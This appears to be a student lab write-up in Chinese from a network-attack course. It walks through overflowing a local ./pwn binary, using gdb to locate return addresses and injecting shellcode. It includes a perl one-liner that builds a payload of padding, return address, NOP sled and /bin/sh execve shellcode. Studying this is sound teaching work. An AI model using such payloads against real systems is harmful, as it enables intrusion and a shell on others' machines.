zoukankan      html  css  js  c++  java
  • 《网络对抗》拓展:注入shellcode

    实践三

    知识要求:
    
    shellcode:指溢出后执行的能开启系统shell的代码。但是在缓冲区溢出攻击时,也可以将整个触发缓冲区溢出攻击过程的代码统称为shellcode,因此可以将shellcode分为以下4个部分:
    
    1、核心shellcode代码,包含了攻击者要执行的所有代码。
    
    2、触发shellcode的溢出地址。
    
    3、填充物,填充未使用的缓冲区,一般使用nop指令填充——0x90表示。
    
    4、结束符号0,对于符号串shellcode需要用0结尾,避免溢出时字符串异常。
    
    5、linux下有两种构造shellcode的方法:retaddr+nop+shellcode;nop+shellcode+retaddr。
    
    
    

    实践过程:

    按照要求设置基本环境后开始(其中shellcode直接用的老师代码):

    尝试第一种构造shellcode方法:retaddr+nop+shellcode

    1、在一个终端中构造shellcode,并在终端中注入这段攻击(其中“x4x3x2x1”处是即将要填的shellcode起始地址),如下图所示:

    2、打开另一个终端,查看./pwn进程的ID号,并进行gdb调试,如下图所示,可以看到ret地址是0x080484ae(ret后就会跳到即将要覆盖的返回地址的位置处):

    3、开始在0x080484ae处设置断点,并不断向前查看地址知道找到shellcode起始地址,最终找到shellcode起始地址为0xffffd2e0(0xffffd2dc+4)。

    4、将构造的shellcode中“x4x3x2x1”改为“0xffffd2e0”,结果不成功。

    尝试第二种构造方法:anything+retaddr+nops+shellcode。

    1、如下图“x4x3x2x1”处是即将要覆盖的shellcode返回地址为:0xffffd300。

    2、构造shellcode:perl -e 'print "A" x 32;print "x00xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90xe0xd2xffxffx00"' > input_shellcode

    最终成功。如下图:

    参考资料

  • 相关阅读:
    c++字符串
    Ubuntu系统的安装与使用 深度音乐播放器
    Ubuntu14.04安装wineqq国际版
    pythonchallenge 解谜 Level 0
    Ubuntu 14.04 安装pdf阅读器
    Ubuntu换源
    pythonchallenge 解谜
    java实现图像灰度化
    c语言完成宽带拨号
    应用程序权限设计
  • 原文地址:https://www.cnblogs.com/yayaer/p/6498628.html
Copyright © 2011-2022 走看看